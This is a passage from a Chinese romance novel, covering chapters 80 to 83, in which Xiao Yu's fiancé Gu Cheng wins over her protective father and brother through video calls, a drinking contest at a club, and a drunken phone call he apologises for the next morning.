这条信息的上一条,是肖瑜寒假里问他:【你怎么啦?我又哪里惹你不高兴了吗,怎么一直不接我电话呢?你接我电话好不好?我很担心你。】距今已经间隔了三个月。
她轻轻摇了摇头,按下几个字:【我没事了。姜昊,望你一切安好。】
她摁了发送,第一次不再流连那个背景是粉红色气球的对话框,点出来,又打开顾程的信息界面,问他:【亲爱的,你到酒店了吗?】
秒回,是一张头发还湿漉漉的随手怼脸自拍。
肖瑜咽了下口水,拿两指扩大这张优越的脸。
他很爱干净,不至于到洁癖的程度,但洗脸会用洗面奶,洗完还会简单擦个护肤乳,所以皮肤清爽又细腻,贴着吻着都很舒服。不像肖帅那样,打小洗脸就是拿水胡乱搓几下,除了天气太干燥会拍点水,平素里根本不碰护肤品。
此刻许是刚洗完澡的缘故,那俊逸的五官越发如同画中人,尽管照片拍得很随意,但眉眼湿润,细密的睫毛根根分明,望向屏幕的星眸里噙着几分笑意,温柔又懒散,撩人得很。
肖瑜又吞了几下口水,竟觉得有些渴。可比嗓子反应更快的,是一股直接涌出身体的热流。
她惊了一下,慌不迭掀开被子跑去浴室。果然,来了大姨妈……
经期有点超前,而且以往她一直饱受痛经的苦,每每来了月事都疼得满额是汗,这一次,居然离奇地没有什么痛感。
换好了内裤重回床上,已经错过了两次视频通话请求。
她钻进被窝顺了顺长发,先拿自拍镜头左挑右选找了个最好看的角度靠着,这才点开视频。
“在干吗?怎么这么久才回?”
顾程也已经坐在了床上,手机该是拿在腰侧,正居高临下地看着她。
“我刚才在……抹脸。”尽管已经做过最亲密的事,可女孩子来那个,肖瑜还是没好意思直说,含糊地应了,便眼眸晶亮地问,“我爸爸妈妈跟你说什么了吗?”
“岳父大人对我有点意见。”顾程倒也没瞒着,无奈地笑了笑,“有我在,还会让你受伤,的确说不过去。”
“不怪你。”肖瑜安慰他道,“爸爸只是心疼我,过几天气消了就好。我会好好哄哄他的。”
提起这茬,顾程挑了下眉,透过屏幕扫视着她宽松
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的睡衣,“你不是个小女孩了,要注意跟成年男性保持距离。以后我可以代替你爸抱你安慰你,别总往他怀里钻。”
“……”肖瑜嘟了下嘴,不满地说,“菲菲也经常抱你啊,我都没吃醋。”
顾程清了下嗓子,“你发育得太好。菲菲抱起来像小孩,你不是。”
“……”肖瑜红着脸瞪他,“你胡说,因为你是她哥哥,你才没感觉。我爸爸和我哥哥抱我的时候,也把我当小孩子的。”
顾程蹙了眉,“听话。”
“醋精。”肖瑜翻了下眼皮子,敷衍地点了点头,转而又期待地问,“你明天早点来找我好吗?我们出去玩?”
“你没事我就放心了,明天回泽城。”顾程话音刚落,见小姑娘失望地嘟了嘴,他心里软软地抽了一下,哄她道,“这几天积了不少工作等着处理,还得跟父母商量一下订婚的事。你也需要在家好好静养几天,周末我会派人来接你回去,也该见见我父母了。”
“好吧……”肖瑜叹了口气,虽然舍不得,可还是听话地点了点头。她现在的情况,爸妈肯定不同意让她回泽城,也不会放心让她出去玩,随口一提不过是因为想跟他多相处罢了。
“不高兴了?”顾程瞅着她全写在脸上的情绪,心里也是舍不得,问道,“结婚后,你更想住别墅,还是更喜欢公寓?”
“有你在的地方,我都喜欢。”肖瑜目不转睛看着屏幕上的人,突然说,“顾程,我好喜欢你。”
她真的好喜欢他,一天一天,一点一滴。尤其是经历了这么多事情,从来没见他有情绪激烈到失控的时候,除了某个特定的,失控起来很性感的场合。
突来的表白,也令顾程的心跳慢了半拍。他低笑着把手机拿近一些,叹道,“真会磨人。你早上几点起床?”
“七点就起来了。”
“我七点半去你家,见一面再走,好不好?”
肖瑜的唇角一下就弯了起来,小鸡啄米一样点头,“还要抱抱。”
“当着你父母面,要守规矩。”顾程也笑了,伸手抚摸着手机边缘,眸子里尽是温柔,“来日方长。你的身体还要多休养,早点休息。”
*
肖瑜起得很早,六点多就在屋里一件一件试衣裙,七点二十五站在窗前看到保姆车悄然靠近,她轻快地跑下楼,见到肖远舟已经在餐厅看起了报纸,她先是上前抱住父亲的脖子撒个娇,才在他疑惑的目光中,蹦蹦跳跳跑去了前门。
顾程已经下了车,刚转过身,就见穿着羊绒裙的小姑娘,小燕子一样飞到身边,把他抱了个满怀。
他禁不住弯起眉目,反手抱起她拥在怀里,低头眷恋地看着她。
“送给你的。”肖瑜把手里的一个心形折纸递给他,眼眸晶亮地笑道,“你要想我。”
顾程拿起粉色的小心心,无奈地笑着捏了捏她的脸,“幼稚。”他也探手从车里拿出一只袋子,递给了她,“给你的。里面还有个小册子,是我早些年投资的一家婚纱公司,你看看她们家的作品喜不喜欢,如果不喜欢的话,过段时间我带你去国外挑。”
H家的包包,抵不过里面小册子带来的喜悦。肖瑜接过来,仰起头,恋恋不舍地抱着他不撒手,“我会想你,很想很想。你晚上睡觉前,可以跟我发视频吗?”
“好。”他也舍不得松手,搂住她纤细的腰,叮嘱道,“你在家里多休息,想我的时候随时发信息。”
“嗯……”肖瑜还是仰着头,脸颊微微红了,“都要好几天不不能见面了,你不想亲我一下吗?”
顾程的喉结滚了一下,可抬眸看到不远处,肖远舟松柏一样杵在门前的身影,他低叹一声,悄声道,“你爸会对我更有意见。乖,回了泽城再说。”
肖瑜撅了噘嘴,继而后退一步,推开了他的手,“那你低一下头,我要跟你说句悄悄话。”
顾程又看了一眼肖远舟,客气地跟他笑了笑,弯腰低下脖子。
肖瑜飞快地在他脸上亲了一下,眯弯了眼睛对他说,“胆小鬼!”
81. 第 81 章
第八十一章
一路回到泽城,邱心悦在车上汇报着接下来的工作重点,顾程唇角的笑意就没断过。直到进了顾连峰的办公室,他才收敛神色,跟父亲讲完香港一行的想法,继而提起了跟肖瑜的婚事。
“老费他们已经开始着手调研,这件事交给他们对接就行了。”顾连峰似笑非笑地打量着儿子,挑了下眉,“肖总跟我也打过几次交道,今天一大早地就亲自给我打了电话,人家像是看不上我这个优秀的儿子呀?”
他见顾程闻言眸色瞬时一暗,越发笑道,“要不咱们再见见别家的?你妈说,以前不知道你能接受年纪这么小的,要是早知道,选择面更广。现成的就有三五个,还在上大学,要不,去见见?”
“就她了。”顾程静静听他说完,握了下手指,“肖总那边我会处理好。爸,她很合适,家世,脾性,品行,体检结果,我都很满意。周末我带她回来见见您和妈,你们也会喜欢的。”
“连体检都做过了?”顾连峰心下暗笑,点了点头,“行吧,既然已经决定了,我跟你妈会支持你的。老肖这个人,油盐不进的,但是疼老婆宠闺女,人尽皆知。”
“嗯。”顾程点了下头,又看一眼欲言又止的父亲,“爸,您让妈别有顾虑,肖瑜虽然年纪有点小……但我会跟她商量一下,等她毕业就要孩子,不会让妈等太久。”
顾连峰笑着又点点头,摆手道,“考虑得这么周到,我还能说什么?去忙吧。回头等礼物备好,我跟你妈亲自上门去提亲。”
“谢谢爸。”顾程应了一声,思忖着又道,“还有姜玉珠和她侄子,我总觉得不像是亲姑侄那么简单。姜家这一辈还有三个男丁,偏偏选中了最小的他,还是唯一的继承人……”
“那种家族,想要继承遗产是不可能容许姜玉珠再婚的,继承人除了亲侄子根本没得选。或许,是跟那孩子的父母关系更亲密吧。”顾连峰倒是不怎么在意地摇了摇头,低叹道,“枝繁叶茂的家族,谁还没个秘密?你大伯对你,不也视如己出吗?生意上的事情,只要不成威胁,不用太过纠结对方的隐秘。”
“您说的是。”顾程笑了笑,顿首道,“那我先去工作了,您跟妈交代一声,儿媳妇周末回家。”
*
肖远舟是瞒着肖瑜给顾连峰打的电话,两只老狐狸过招,谁也没讨到半分好。偏早上那会儿看着,是自家的宝贝疙瘩更热情主动,让他连个撒气的借口都没有,着实憋屈的很。
临出门前,母女俩还视他为无物,兴高采烈地窝在一处看那臭小子送来的礼物。不就是一本破广告册子吗?有什么稀罕的?
肖远舟瞅一眼H家的包装袋,清清嗓子,“今儿没事的话,去逛街,喜欢什么买什么,别被人家一点点好处就给收买了。”
“你从来也没亏着我们娘儿俩,啥时候不是想买什么买什么?说这话不是抽自己耳巴子呢?”穆青华好笑地瞅着她,搂住窝在怀里偷笑的肖瑜,禁不住揶揄道,“老公,重要的是心意。你女婿眼光是真的好,这些新中式婚纱,看得我都想再穿一遍了。”
肖远舟眼皮子抽了抽,走过来凑头看一眼,赌气般言不由衷地哼了一声,“也就那样。”
“爸爸。”肖瑜指着其中一套大气的华服,翘头道,“今年的结婚纪念日,您要不要跟妈妈再拍一套啊?这款妈妈说她喜欢呢。”
肖远舟朝那副彩页多看了两眼,又看了看含笑不语的妻子,清清嗓子,“选个配套的男款,再议。”
母女两个哈哈大笑,一点不加掩饰。肖远舟绷着脸走出大门,直待上了车,才摇头无奈地笑了笑,跟司机说道,“去小帅那。”
*
“爸?”
肖帅昨晚游戏打到两点,畅汗淋漓。一大早在办公室刚把晨烟抽到一半,就见到父亲蹙着眉进来,嫌弃地挥了挥手。
他连忙摁了那半只烟,随手拿起面前的一个本子在面前挥挥烟气,不解道,“您怎么一大早过来了?吃过了吗?”
“都九点了,还一大早?”肖远舟在他对面坐下来,摇了摇头,“你这个烟,少抽点。听说人家顾程就从来不抽烟,也不嗜酒。”
肖帅被噎了一下,小心地问,“有事?”
好端端的,干吗拿他跟别人家的孩子比,打小都没遭受过的待遇。
“你妹妹跟他处朋友了。”
“谁?”肖帅一听就瞪了眼,“顾程?我去,我妹居然出轨?!”
他这两天没回家。肖瑜的事,怕他知道了上火冲动,父母也还没告诉他。昨晚游戏里,跟简承贤他们公司的几个小伙子一起玩的时候,他还随口问了句俩人处得咋样,阿K分明说他妹妹哪儿哪儿都好,俩人处得也可好了,怎么突然就出轨了?!
肖远舟大概把这两天的事说了说,肖帅的脸色变了又变。末了,肖远舟揉着眉心道,“你们年轻人的圈子,我不太方便去了解。你找人在泽城好好打听一下,看顾程私底下究竟是什么样的品行,有没有偷偷养人,或者……”
他顿了下,有几分尴尬地瞅着儿子道,“他这个年纪,又一表人才,见过那么多女孩儿还定不下来,别是之前太乱来有了什么隐疾……你懂吗?”
“不行啊?”肖帅随口接了一句,见父亲的脸色顿时不太好,忙又道,“行,我去查,保准幼儿园的风流史都给丫翻出来。”
肖远舟的脸色更差了,起身皱了皱眉,道,“查到什么先跟我说,别直接告诉你妹妹。”
“得令。”
*
肖远舟前脚走,肖帅后脚就给姜昊打了视频。他气势汹汹瞪着眼,可看到对方深陷的眼窝,空洞的眼神,为妹妹出头的气话哽在喉头,终是叹了口气,拧眉道,“是你主动放弃的,怨不着我妹妹。”
“胖哥。”姜昊垂眸望着屏幕,视线却根本没聚焦到说话的人身上,行尸走肉般干涩地笑了,“对不起。”
“这次她没事,算了。可以后你敢再对我妹动手,我他么飞过去弄死你。”
姜昊对他的威胁没有反应,只淡淡应道,“你揍我,我不会还手。”
“耗子。”肖帅心里也不好受,缓了语气道,“我知道你难受,我妹也是,她之前连看到我开了你的车回家都会哭。如今她好不容易放下了,不也是你希望的吗?”
姜昊扯了下唇角,“还有事吗?”
肖帅握了握十指,又叹一口气,“你多保重。有需要帮忙的地方,开口。”
姜昊终是缓缓抬眸看了他一眼,翘了下唇角,“好。”
*
事关妹妹的终身幸福,肖帅查得很尽心。
他原本就是喜欢呼朋唤友的人,上学那会儿对脾性的,后来也都保持着联系,时不时还会支场子加深一下情谊。再加上后来接汽修店练手生意经,人脉越发活络,天南地北哪儿都有人帮得上忙,泽城作为省会城市,更有不少时常走动的关系,果然三两天功夫,就把这位顾氏未来掌舵人的过往查了个清楚。
当然。
肖帅想着那薄薄几句话就能总结出来的过往,叹息着摸了摸下巴。
能查得这么快,确实也是因为,顾程没什么过往。
他就像是天选的豪门继承人,打小品行端正,没有不良嗜好,学霸,体能强,目标清晰,少年老成。唯一的业余爱好,不过是多数男人都喜欢的车模。没有绯闻,不爱夜场,仅有的一段感情经历,就是大学里处了不到半年的前女友秦舒曼,可听说俩人共同出现的场合,手都鲜少拉过。
相亲次数倒是多到让肖帅有点惊讶,也不怪父亲会因此怀疑顾程有隐疾。
十八岁成人礼上,就有四位重量级政商界二代佳人明着参礼,暗里也是双方父母借此机会,让孩子们相互认识,期待以后有所发展。结果后来顾程的确跟她们都处成了朋友,不是恋爱关系,而是互助合作的人脉关系。
大学里那几年,追求者众多,男女都有,不过有了秦舒曼之后,身边的感线情就十分单一。二十六岁开始,他的母亲才再度张罗起让他相亲的事情,基本上一个月最少安排一场,月月不落。但是每次相亲也没个后话,
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有那么三五个倒是见过二次面,不过后来要么路人,要么变成了合作伙伴。
所以……肖帅皱着眉,一遍遍摸着没胡子的下巴,疑惑地想。自己的妹妹的确漂亮又可爱,但顾程见过的女人多了去了,比她更好看的不是没有。她的性子又单纯得像张纸,什么心事都写在脸上,怎么就能让一个看起来对女人兴致缺缺的老男人,突然生了兴趣呢?
他是个急脾气,有了疑问就要去找答案,手机里调出一个号码,立刻就约好了场子,直奔泽城。
*
顾程最近很忙,脚不沾地的状态。但是每晚跟肖瑜的视频聊天,还有早上的健身,雷打不动。邹策来电组了个场子,他原本以为是秦舒曼又要借助老同学劝说,恢复已经彻底中断的联系,可听说同席的还有舟城远洲未来继承人,他低笑着应了,放下电话后拿无名指轻点着桌面,眯了眸。
肖家这两个男人,真是护犊子。
*
邹策支场,定是他最爱的会所。
他跟肖帅,属于绕了八圈才连上的线,邹策的表姨的夫家是肖帅未婚妻楚岚芝的远房亲戚,要不是前几天为了从顾程亲近的人身侧打探消息,这俩人面对面也不认识谁是谁。可生意人就是这么活络,见面握个手,脾性相投,立刻就开始称兄道弟,把酒言欢。
顾程一进门,就见邹策左拥右抱着朝自己抬头笑道,“总是迟来的那一个。自己说,罚几杯?”
屋里还有四五个男人作陪,正在玩牌,除了肖帅,跟他都是熟人。这些人身边的女伴们见顾程进来,眸子里都有几分蠢蠢欲动。待在肖帅身边那个纯欲风的女孩子起身,径直朝他走来,“顾少可算过来了,邹公子刚才一直在念叨呢,您……”
“安分点,别丢了工作。”顾程神色未变,依旧噙着笑。可那话音不高不低,在场的人听了,男人们呵呵哄笑,一副见怪不怪的样子,几个女孩子却都收回了视线,专心取悦起身边的金主,不再三心二意。
朝他走过去的女孩子登时便不敢再招呼,而是乖乖坐回了肖帅身边。
顾程也跟了过去,坐在肖帅另一边,自己给自己斟了一杯酒,一仰而尽算是自罚,“你来了泽城怎么也没说一声,让小包子知道了,要怪我招待不周。”
肖帅眼一瞪,皱眉道,“小包子什么鬼?”
顾程轻松松从裤兜里拿出一只硅胶小包子,底朝上给他看,“你妹妹送我的。”
昏黄的光线下,‘肖瑜’两个字清晰得很。
肖帅翻了下眼皮子,亲手给他倒杯酒,摁响了服务铃,“大家都是男人,跟我不用藏着掖着。给你点了十个妞,让我看看你最喜欢哪一款。”
顾程愣了一下,继而果然见房门打开,十个年纪身材模样各异的公主鱼贯而入,待选妃般亭亭玉立站在眼前,一个个欲语还休地望过来,眸中柔情似水。
他看向邹策,狗男人憋着笑,越发姿态风流地喝着女人们递来的酒,跟其他几个人一样,忍俊不禁等待着他的反应。
顾程无奈地叹了口气,拿出手机对着一群女人拍了个照,摆摆手,“出去。”
肖帅狐疑地看他一眼,叫住了神色忐忑的经理,“换一批。”
“再换也是一样。”邹策到底忍不住笑出了声,示意经理带了人出去,跟肖帅说道,“阿程原本就不喜这口,你这未来大舅子还在这儿,他自然看都不看的。小帅,这法子不行。”
“不喜欢你拍什么照?”肖帅转头瞅着顾程,好半天,才咂舌道,“等我走了再叫?顾程,我都说了不用这么藏着掖着,我今儿过来我妹妹不知道。就算你俩真处了,这场合你以后还是少不了,跟我,别装。”
顾程看都没看他一眼,点开微信,直接把照片发给了某人。十秒后,肖瑜的视频直接打了过来,开口就问,“你……什么意思!”
肖帅脸色一变。
顾程举起手机怼向肖帅,让他直视着妹妹又恼又不可置信的脸,很真诚地解释道,“你哥专门跑泽城来给我点妹子,你帮我谢谢他,我不需要。”
82. 第 82 章
第八十二章
“肖大胖你什么意思!”肖瑜的声音有点气急败坏,直接把跟哥哥吵架时的侮辱性词汇端了出来,恨恨道,“你等着,我一会儿就打电话给兰芝姐!妈妈……”她身边,还有穆青华震惊的面孔,只听她抽着鼻子告状道,“你看我哥,自己出去鬼混就算了,还要给顾程介绍女孩子,太过分了。”
“小帅。”穆青华不悦的声音传过来,肖帅一张脸憋得青白不定,只得咬着牙听母亲在那边敦敦教诲,“你平时可不是这么胡来的孩子,别让妈妈失望。”
“穆总,在我这里,您放心。”顾程转手就把屏幕重新对向自己,压根没给肖帅解释的机会,跟肖瑜母女笑道,“我不乱来,也会看住肖帅不让他乱来。”
视频过后,肖帅喘着粗气给自己灌了杯酒。顾程很贴心地帮他满上,这才正色道,“近来有人从幼儿园开始打听我,是你吧?肖帅,有话直接问我,绝不隐瞒。”
“卑鄙。”肖帅十指相握,骨节咔咔响,“说吧,到底看上我妹妹哪儿了?”
“这话问的奇怪。”顾程不甚在意地松了松领口,淡笑道,“你是觉得肖瑜配不上我?”
“我呸,老牛吃嫩草你还装上了。”肖帅不耐地瞪着他道,“我妹妹配得上这世上最好的男人。你比我还大呢,这么多年都没对女人动过心思,是不是觉得我妹单纯好骗,想把她娶回家当摆设?”
在泽城,还真没人当面对顾程这般不客气过。那些公主对肖帅的身份并不知晓,邹策他们几个也没料到肖帅一开口这么冲,一时倒是鸦雀无声,神色各异地悄悄观察着顾程的反应。
被肖帅埋汰,顾程反而笑意越浓,勾唇道,“知道我比你大,以后成了一家人,就叫我一声哥。肖总和穆总家教有方,想也不会让你将来在称呼上为难我,是不是?”
关注点新奇,邹策看着肖帅一副吃了翔的样子,憋得张了半天嘴没下一句话,忍不住笑道,“哈,小帅,你说你来这一趟图什么?阿程可是我们那一届的最佳辩手,你跟他这儿打嘴炮,讨不到半分好。”
“你们玩你们的,别掺和。”顾程压着笑,见邹策他们又聊起自己的话题,才把酒杯拿起,挥挥手让肖帅身边的女孩子也走开,道,“合适的时间遇到合适的人,没有别的原因。你和肖总的担心,多余。”
“话不是这么说。”肖帅上来就败了两场,闷口酒找回点气势,才眯着眼又道,“我妹是个恋爱脑,喜欢上了,就一股脑地付出,容易被骗。谁还不是青春萌动的年纪过来的?可你从小就干净得就像个出了家的和尚,这好端端的突然看上我妹了,任谁看,都很不正常。”他说着,朝邹策扬了扬下巴,“策哥,你说是不?”
“是挺不正常的,但也正常。”邹策把手里的牌递给身边的女伴,凑过来勾着顾程的肩笑道,“阿程忙得很,大学那会儿各种学校活动都参加,老早就进了集团跟着伯父学习,放假还得环游世界,忙着造车模,所以没时间谈恋爱也能理解。不过除了跟舒曼处过一段,再也没人近过身,确实也不太正常。哥们儿,我也一直好奇,你那玩意儿到底能用吗?”
他话音落下,两个人都朝顾程的裆部看去。
顾程也低头看了看,瞥一眼肖帅,欲言又止。
肖帅疑惑地皱起眉,可顾程又把眼神收回来,思忖着道,“这么说吧。女人在我眼中,只分两种。”
有几个离得近的公主,耳朵悄悄支棱起来,用心听。
“我家的。还有,别人家的。”顾程慢条斯理地说道,“就比如这屋子里的,都是别人家的。我一没打算娶,二没责任照顾,懒得花时间和精力去应付。懂?”
“不懂。”肖帅和邹策都不屑地‘嘁’了一声,肖帅更是翻着眼睛道,“我妹妹是我家的,不是你家的。你要是把她当做别家的,又怎么可能成为你家的?”
邹策被他弯弯绕绕都听得皱了眉,而顾程却一秒不顿地接了话道,“她原本是你家的没错,可她跟我妹对月拜了把子,就成了半个我家的。照顾着照顾着,眼下可不就彻底是我家的了。”
肖帅的胸膛起伏数下,奈何从这话里揪不出错,气得又闷了一口酒。
邹策此刻也从一堆‘你家我家’里绕了出来,笑道,“原来是菲菲撮合的,怪不得进展这么快。什么时候结婚?”
“等她毕业。”眼瞅着肖帅闻言眼睛瞪得老大,顾程一点不在意地缓缓道,“最近正在盯着那边跑手续,白送一块地给岳父大人升级测试场地,还给我摆脸子。他们家的男人,护犊子得厉害。”
这事儿肖帅倒是知道,不过那是在得知肖瑜跟顾程处对象之前。怪不得连肖远舟都觉得新鲜,顾氏在舟城那块刚拍下的地,当初是打算开发度假山庄的,可两人头回私下深谈,他就松口愿意把地拿来让远洲升级测试场地用,五年起步。肖远舟他们原本以为他这是为了华驰跟远洲的合作,合着这小子在那会儿就操着心,要把自家妹妹给收了。
肖帅郁闷极了,感觉处处被压一头,尤其这老男人当着他面,都毫不掩饰要尽快把宝贝妹妹纳入囊中的意图,他仰头干了一杯,啪一声把空杯摁桌上,瞪着顾程,“想得美。一块地就想把我妹妹要走,做梦。喝,今晚你要是先醉了,想都别想。”
顾程笑了,似乎就等着他这句话。他端起酒杯,二话不说喝了,眉峰微挑,“大舅子豪爽。你先趴下的话,是不是你这关就算过了?”
都知道顾程不嗜酒,所有人想当然都以为他不胜酒力。可其实,从来也没人能逼着他喝,是以连邹策都不晓得他醉酒的点到底在哪儿。
肖帅一看见他胸有成竹的样子就心火乱窜,抬手让公主们哗哗倒满了一桌酒,跟顾程击掌道,“君子一言,驷马难追。你能把我喝趴,我妹你明天就带回家当媳妇!”
“好!”
“我们都是见证人,干!”
“我押小帅,这表当赌注。”
“我押程哥,车钥匙放这儿了!”
*
酒店套房里,顾程第三次从洗手间吐完出来,肖帅已经不知道是第几次从床上滚到了地上,拳打脚踢龇牙闭眼哼哼,“妹夫,你他么……牛逼啊!装……猪……吃你胖哥!”
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两个高壮的保镖,见怪不怪抬起他放回床上,等待着他继续翻滚着往床下摔。
安祈攸扶顾程远远在沙发上坐了,瞅着他潮红的双颊,叹息道,“肖家可真是出人才,女儿养的像个小白兔,这儿子看起来也不大聪明的样子。”
“产业单一,又轻轻松松名利双收,他们成长的环境比我这种简单得多。”顾程喝过解酒药折腾了这几次,脑子里虽然还是天旋地转,但已经可以再次思考。他捂着额头望向翻来覆去放狠话的肖帅,唇角勾起,“他要是不问,我也没闹明白,怎么就喜欢上她了,呵……”
他的笑里尽是醉意,眼神也迷迷蒙蒙的,“其实以前相过的女人里,有几个长得也挺顺眼,不过……”
安祈攸眼皮子跳了跳。
他第一次见到顾程彻底酒醉的模样,也是第一次听他主动跟自己讨论女人,心知会听到不少秘密。原本他应该避讳一下,可今晚这情况,他肯定是要留下来照看的,况且,他本来就对某人的情事好奇死了。
“要么太作,缠人,心眼多,说个话弯弯绕绕让人烦得不行。要么,太霸道,爱闹,贪玩,跟菲菲似的。要么身材干巴巴的,瘪得像个未成年。可肖瑜……”顾程摸了摸裤兜,却只摸到浴袍,他立刻站了起来,又因为头晕,倒回沙发,仰头皱眉看着安祈攸,“我的小包子呢?”
安祈攸愣了一下,连忙去翻他脱下来的衣服,从西裤里掏出一只硅胶小包子,递过去。
顾程满足地拿起小包子捏了捏,很神秘地说,“我才不会告诉你,她的胸,真的发育得特别好。屁股也是,又圆又翘,捏起来跟水蜜……”
安祈攸脑门子登时全是汗,赶紧打断他,“肖瑜性格好!性格好!”
“嗯。”顾程很认可地点着头,低头一下又一下,攥得小包子在指缝里不成型,喃喃道,“不闹人,讲道理,听话,哪儿我都喜欢。我瞧着她,心里就舒服,很安静,解乏,想亲她。你们是不是都以为她很乖?呵……呵,我才不会告诉你,其实她热情得像个小妖精。我想她了,很想,想得很……我想把她抱进怀里,咬她,摁在床上听她叫,我还想……”
“顾总!”安祈攸有点慌,赶紧拿起手机塞他手里,“想她就给她打电话。”
再听下去,他怕明天会失业!
*
睁开眼睛看到肖瑜忧心忡忡的小脸时,顾程还有点恍惚。
“你……”他抬手挡了下刺目的日光,被她扶了手臂坐起来,“我来找你了?”
上一秒的记忆,还是他抓心挠肺地想她,恨不得原地结婚,能时时刻刻把她摁在怀里,百无禁忌。
所以,他到底是忍不住让安祈攸把他给送舟城了?
“你们到底喝了多少啊?”肖瑜递给他一杯温水,嘟嘴瞪着他,“我都不知道你真醉了居然会这个样子。大半夜的打电话威胁我爸爸,要不是夜路不安全,被我妈妈拦着,他昨晚就要过来了。”
“威胁你爸?”温水入腹,宿醉的燥意刚觉缓解,顾程便愕然皱了眉,“我昨晚给你爸打电话了?我说什么了?”
83. 第 83 章
第八十三章
“乖宝。”
肖瑜还没说话,外边有脚步响起,伴随着一道低沉的男声,“不要随便进男人的房间。出来等。”
她看向瞬时眼神清明的顾程,无奈地嗔了他一眼,起身叮嘱道,“不许再跟我爸爸吵架。”
再进来的,是安祈攸,手上拎了一套熨烫平整的衣服,低着头眼观鼻鼻观心。
他这副谨慎的模样,看得顾程越发蹙了眉,迅速起身去浴室洗漱一番,便过来一件件接过衣服,边换边问,“肖总一早过来的?”
“嗯。”
“我昨晚给他打电话了?”
“嗯。”
顾程把皮带抽好,接过外套,睨他一眼,“吃哑药了?昨晚到底什么情况?”
安祈攸的嘴角抽了抽,清清嗓子,“你开始是跟肖瑜视频,说你……你想……想……”他顿了一下,思索了下措辞才又说,“想她了。”
“然后呢?”顾程已经穿戴整齐,可看到他这副吞吞吐吐的样子,他视线转向房门,压低了声音,“重点我跟肖总说什么了?”
面对肖远舟那只老狐狸,不能打无准备的仗。想他顾程素来也是有教养的人,就算对未来岳丈心有埋怨,也不可能骂脏话,如今就看如何补救了。
安祈攸深深吸了一口气,头垂得更低了,“你还要人家脱光了,让你检查一下……嗯……那啥……有没有被闷坏……”
顾程眸色深幽地看向了他。
“但是肖瑜不大好意思,还说让你别闹,等以后结婚了天天都可以。你就说要立刻飞过去跟她结婚,她就说,你别闹,她爸爸对你俩这事儿好像还不是很高兴。然后你就打电话把肖总骂了一顿,说他冥顽不灵,封建大家长,还说他们家的好大儿就在你手上,不让你俩结婚,立马就设个局把肖帅搞臭了,把他跟楚部长家千金的婚事也给搅黄……”
安祈攸死命憋着笑把话说完,掀起眼角看了看顾程。
顾程还在看着他,一如既往的……嗯,四平八稳。
安祈攸笑不出来了,清清嗓子肃容道,“肖总也年轻过,喝多了说点浑话能理解。他刚才去叫肖帅起来,看着神情还好。”
“知道我醉酒的点在哪儿了吗?”
“嗯。”
顾程整理了一下袖口,率先迈开脚步,“以后我再醉成这样,年终奖你就别想了。”
“……”安祈攸觉得自己应该改个名,叫安娥。
*
客厅里,肖帅站着,肖远舟坐着,身边是正在柔声哄着他说话的肖瑜。
“爸爸,您别生哥哥的气了。他也知道顾总不是乱来的人,才会放心过来找他玩的。”
肖帅已经换了套衣服,收拾齐整,老老实实低着头。眼角偷偷瞟了父亲一眼,对上他隐有余怒的目光,他心虚地咽了下嗓子,又垂下了眼。
“肖伯父,昨晚是我不对,我向您道歉。”顾程扫了三人一眼,走过来站在肖帅身侧,人高马大的两个人,面上却都是小学生认错的样儿,“不过跟肖帅对脾气是真的,不然也不会醉到口不择言。”
肖帅斜着眼角瞅他一眼,没吭声。
肖远舟接过肖瑜递来的茶,喝了一口,没搭理他,却问肖帅,“你来泽城,单枪匹马的,想没想过这是哪儿?万一顾程给你设个局,摆你一道,把自己坑进去怎么办?也是历练几年的人了,怎么这么心浮气躁?在别人的地盘,你撒什么野?”
“伯父言重了。一时气话,我怎么可能坑未来大舅子。”顾程一听就知道这话是说给他听的,很识相地接过话道,“以后都是一家人,同气连枝,荣辱与共。别说是泽城,但凡顾氏罩得住的地头,肖帅的事就是我的事,他的安危也是我的责任。”
这话说的,肖瑜直接就红了脸,咬着嘴唇把目光从父兄的脸上,挪到了顾程眉目清隽的五官上,带着点羞赧和喜悦,眸子里是掩不住的柔色。
肖远舟看一眼自家闺女,深吸一口气。可还没来得及说什么,肖帅也抬了脸,嗓音闷闷的,“爸,这可是我妹,什么能比她往后的幸福更重要?我一个人过来,就是想看看顾程到底什么品行,真要是不给我脸,或者强着来,就算把我折了,又怎么样呢?只要能帮我妹看清楚一个人的本性,不让她往火坑跳,我都认。我不是二百五,只是更宝贝我妹妹。”
肖瑜愣了一下,眷恋在顾程脸上的目光,登时转向了撇着嘴委屈不已的哥哥,眼中甚至泛起了感动万分的水光,“哥哥……”
顾程的牙,暗暗咬了咬。
肖远舟气顺了。他欣慰地点着头,跟肖帅说道,“我就知道,我们家好大儿从来都不傻,只是更加真性情。带你妹妹下楼去吃早餐,我跟顾总商量点事。”
他说‘好大儿’的时候,字正腔圆,咬音极重。
顾程神色不变,只是在肖瑜起身的时候,走前一步,当着两个神色不虞的男人面,虚虚抱了她一下,笑道,“我很欣赏你哥。真性情,豪爽,言出九鼎。他昨晚输了酒,让我今儿就把你带回家当媳妇。你待会儿选件礼物让小安去买,我得好好谢谢他。”
肖瑜撩起眼皮斜斜看向肖帅。肖帅讪讪干咳一声,拉起她的胳膊,不敢回头看肖远舟的脸,“爸,我们先下去了。你们聊完也早点过来吃饭。”
*
套房里就剩下两个人,肖远舟朝一侧的沙发抬了下手,“顾总,坐。”
顾程坐了,抬手为他斟茶,“伯父,您是长辈,大人有大量,请原谅我这一回。我保证,没有下次。”
他言语恳切,双手端杯,恭敬地举在肖远舟面前。
肖远舟接过来抿了一口,难察喜怒,“你们相处的时间太短,现在就谈婚论嫁,有点早。况且我们家乖宝比你小了快七岁,心智上跟你没办法匹配,也不是能独当一面的性格。你们顾氏家大业大,往后如果另一半不能撑起半边天,新鲜劲儿过去后,你会很累。不如,再多处处看。”
“我明白伯父的意思。”顾程笑了笑,轻舒一口气,“您和穆总伉俪情深,少年相伴,一路走来相互携持,是段佳话。但我跟您不太一样,正因为打小就知道肩上责任重,所以把时间都花在了学习和研究经商之道上,不早恋,开窍晚。稍微大点,又见多了圈子里夫妻失和的难堪场面。门不当户不对的所谓爱情,难敌现实。太过旗鼓相当的夫妻,勾心斗角起来两败俱伤。我所求,不过是家庭和睦,白首相伴。您说我眼光高也好,太挑剔也罢,若非方方面面都合我意,我连试试都不愿将就。所以如今年纪到了,刚好遇到令嫒,是铁了心打算娶她为妻的。”
‘早恋’两个字刚落下,肖远舟的老脸,便肉眼可见地泛起一丝绯红,他低头喝茶,佯装未觉。
